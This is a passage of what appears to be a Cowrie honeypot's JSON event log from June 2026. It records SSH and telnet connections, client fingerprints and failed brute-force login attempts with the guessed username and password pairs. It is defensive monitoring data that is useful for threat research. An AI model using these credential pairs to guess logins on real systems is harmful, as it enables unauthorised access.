ha1","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 713bd9cc935561939c02dad25af2d3de","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:02:17.046502Z","src_ip":"102.88.137.80","session":"42b69200dacd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"cocacola1","message":"login attempt [root/cocacola1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:02:17.151863Z","src_ip":"109.237.96.109","session":"dfe62c159b16","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"deployer","password":"111","message":"login attempt [deployer/111] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:02:17.812386Z","src_ip":"102.88.137.80","session":"42b69200dacd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:02:17.923821Z","src_ip":"77.94.47.83","session":"6dbe752176b5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:02:18.253606Z","src_ip":"109.237.96.109","session":"dfe62c159b16","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:02:18.998867Z","src_ip":"102.88.137.80","session":"42b69200dacd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":65.13037252426147,"message":"Connection lost after 65 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:02:21.355438Z","src_ip":"94.23.66.112","session":"e9a3eed11ef9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":53284,"dst_ip":"159.203.135.109","dst_port":23,"session":"5307d57ff20e","protocol":"telnet","message":"New connection: 128.199.8.54:53284 (159.203.135.109:23) [session: 5307d57ff20e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:02:22.015185Z"}
{"eventid":"cowrie.session.connect","src_ip":"193.37.70.224","src_port":45386,"dst_ip":"159.203.135.109","dst_port":22,"session":"2ad2db67aa86","protocol":"ssh","message":"New connection: 193.37.70.224:45386 (159.203.135.109:22) [session: 2ad2db67aa86]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:02:41.938252Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:02:41.942763Z","src_ip":"193.37.70.224","session":"2ad2db67aa86","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:02:42.035417Z","src_ip":"193.37.70.224","session":"2ad2db67aa86","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Forten1883","message":"login attempt [root/Forten1883] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:02:42.317565Z","src_ip":"193.37.70.224","session":"2ad2db67aa86","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:02:43.413781Z","src_ip":"193.37.70.224","session":"2ad2db67aa86","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":49.91640329360962,"message":"Connection lost after 49 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:03:11.931436Z","src_ip":"128.199.8.54","session":"5307d57ff20e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"217.168.240.63","src_port":55670,"dst_ip":"159.203.135.109","dst_port":22,"session":"4cc14e38219d","protocol":"ssh","message":"New connection: 217.168.240.63:55670 (159.203.135.109:22) [session: 4cc14e38219d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:03:31.649560Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:03:31.653740Z","src_ip":"217.168.240.63","session":"4cc14e38219d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:03:31.791705Z","src_ip":"217.168.240.63","session":"4cc14e38219d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Qwert369","message":"login attempt [root/Qwert369] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:03:32.349601Z","src_ip":"217.168.240.63","session":"4cc14e38219d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:03:33.483468Z","src_ip":"217.168.240.63","session":"4cc14e38219d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":44288,"dst_ip":"159.203.135.109","dst_port":23,"session":"f29c108a3ea9","protocol":"telnet","message":"New connection: 128.199.8.54:44288 (159.203.135.109:23) [session: f29c108a3ea9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:03:43.370686Z"}
{"eventid":"cowrie.session.connect","src_ip":"92.113.145.209","src_port":32852,"dst_ip":"159.203.135.109","dst_port":22,"session":"11b0e68317a2","protocol":"ssh","message":"New connection: 92.113.145.209:32852 (159.203.135.109:22) [session: 11b0e68317a2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:03:57.976995Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:03:57.986629Z","src_ip":"92.113.145.209","session":"11b0e68317a2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:03:58.101627Z","src_ip":"92.113.145.209","session":"11b0e68317a2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Hello@2026","message":"login attempt [root/Hello@2026] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:03:58.572256Z","src_ip":"92.113.145.209","session":"11b0e68317a2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:03:59.683468Z","src_ip":"92.113.145.209","session":"11b0e68317a2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"101.47.159.125","src_port":60346,"dst_ip":"159.203.135.109","dst_port":22,"session":"2ed08beae8f4","protocol":"ssh","message":"New connection: 101.47.159.125:60346 (159.203.135.109:22) [session: 2ed08beae8f4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:04:02.105826Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:04:02.110319Z","src_ip":"101.47.159.125","session":"2ed08beae8f4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:04:02.350034Z","src_ip":"101.47.159.125","session":"2ed08beae8f4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ftpuser","password":"1qazXSW@","message":"login attempt [ftpuser/1qazXSW@] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:04:03.349762Z","src_ip":"101.47.159.125","session":"2ed08beae8f4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:04:04.594953Z","src_ip":"101.47.159.125","session":"2ed08beae8f4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"201.17.146.173","src_port":44494,"dst_ip":"10.17.0.5","dst_port":22,"session":"154cfd878e7e","protocol":"ssh","message":"New connection: 201.17.146.173:44494 (10.17.0.5:22) [session: 154cfd878e7e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:04:04.873378Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:04:04.881706Z","src_ip":"201.17.146.173","session":"154cfd878e7e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:04:05.039788Z","src_ip":"201.17.146.173","session":"154cfd878e7e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"bond","password":"123456","message":"login attempt [bond/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:04:05.628080Z","src_ip":"201.17.146.173","session":"154cfd878e7e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:04:06.777751Z","src_ip":"201.17.146.173","session":"154cfd878e7e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":57312,"dst_ip":"159.203.135.109","dst_port":23,"session":"d85a683d322e","protocol":"telnet","message":"New connection: 128.199.8.54:57312 (159.203.135.109:23) [session: d85a683d322e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:04:06.976860Z"}
{"eventid":"cowrie.session.connect","src_ip":"46.19.67.181","src_port":39564,"dst_ip":"159.203.135.109","dst_port":22,"session":"5b0ed3c8031f","protocol":"ssh","message":"New connection: 46.19.67.181:39564 (159.203.135.109:22) [session: 5b0ed3c8031f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:04:23.026866Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:04:23.031672Z","src_ip":"46.19.67.181","session":"5b0ed3c8031f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:04:23.144127Z","src_ip":"46.19.67.181","session":"5b0ed3c8031f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"ramzan","message":"login attempt [root/ramzan] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:04:23.486123Z","src_ip":"46.19.67.181","session":"5b0ed3c8031f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:04:24.600546Z","src_ip":"46.19.67.181","session":"5b0ed3c8031f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":46.07857632637024,"message":"Connection lost after 46 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:04:29.449141Z","src_ip":"128.199.8.54","session":"f29c108a3ea9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"34.78.85.152","src_port":4192,"dst_ip":"159.203.135.109","dst_port":23,"session":"ae9baca593fc","protocol":"telnet","message":"New connection: 34.78.85.152:4192 (159.203.135.109:23) [session: ae9baca593fc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:04:36.074493Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.78.85.152","src_port":4204,"dst_ip":"159.203.135.109","dst_port":23,"session":"28fe50582a0b","protocol":"telnet","message":"New connection: 34.78.85.152:4204 (159.203.135.109:23) [session: 28fe50582a0b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:04:36.231032Z"}
{"eventid":"cowrie.session.closed","duration":0.004996061325073242,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:04:36.235888Z","src_ip":"34.78.85.152","session":"28fe50582a0b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"34.78.85.152","src_port":4208,"dst_ip":"159.203.135.109","dst_port":23,"session":"ec4b30bc08eb","protocol":"telnet","message":"New connection: 34.78.85.152:4208 (159.203.135.109:23) [session: ec4b30bc08eb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:04:36.387535Z"}
{"eventid":"cowrie.session.closed","duration":4.670452117919922,"message":"Connection lost after 4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:04:40.744813Z","src_ip":"34.78.85.152","session":"ae9baca593fc","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"172.81.62.90","src_port":55664,"dst_ip":"159.203.135.109","dst_port":23,"session":"85cf37d7eabd","protocol":"telnet","message":"New connection: 172.81.62.90:55664 (159.203.135.109:23) [session: 85cf37d7eabd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:04:51.036372Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.78.85.152","src_port":13762,"dst_ip":"159.203.135.109","dst_port":23,"session":"26702cd122b1","protocol":"telnet","message":"New connection: 34.78.85.152:13762 (159.203.135.109:23) [session: 26702cd122b1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:04:55.543254Z"}
{"eventid":"cowrie.login.failed","username":"GET / HTTP/1.1","password":"Host: 159.203.135.109:23","message":"login attempt [GET / HTTP/1.1/Host: 159.203.135.109:23] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:04:55.548339Z","src_ip":"34.78.85.152","session":"26702cd122b1","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36","password":"Accept-Encoding: gzip","message":"login attempt [User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36/Accept-Encoding: gzip] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:04:55.551895Z","src_ip":"34.78.85.152","session":"26702cd122b1","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":0.08861875534057617,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:04:55.631621Z","src_ip":"34.78.85.152","session":"26702cd122b1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"34.78.85.152","src_port":13778,"dst_ip":"159.203.135.109","dst_port":23,"session":"9c58c7da6482","protocol":"telnet","message":"New connection: 34.78.85.152:13778 (159.203.135.109:23) [session: 9c58c7da6482]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:04:55.704750Z"}
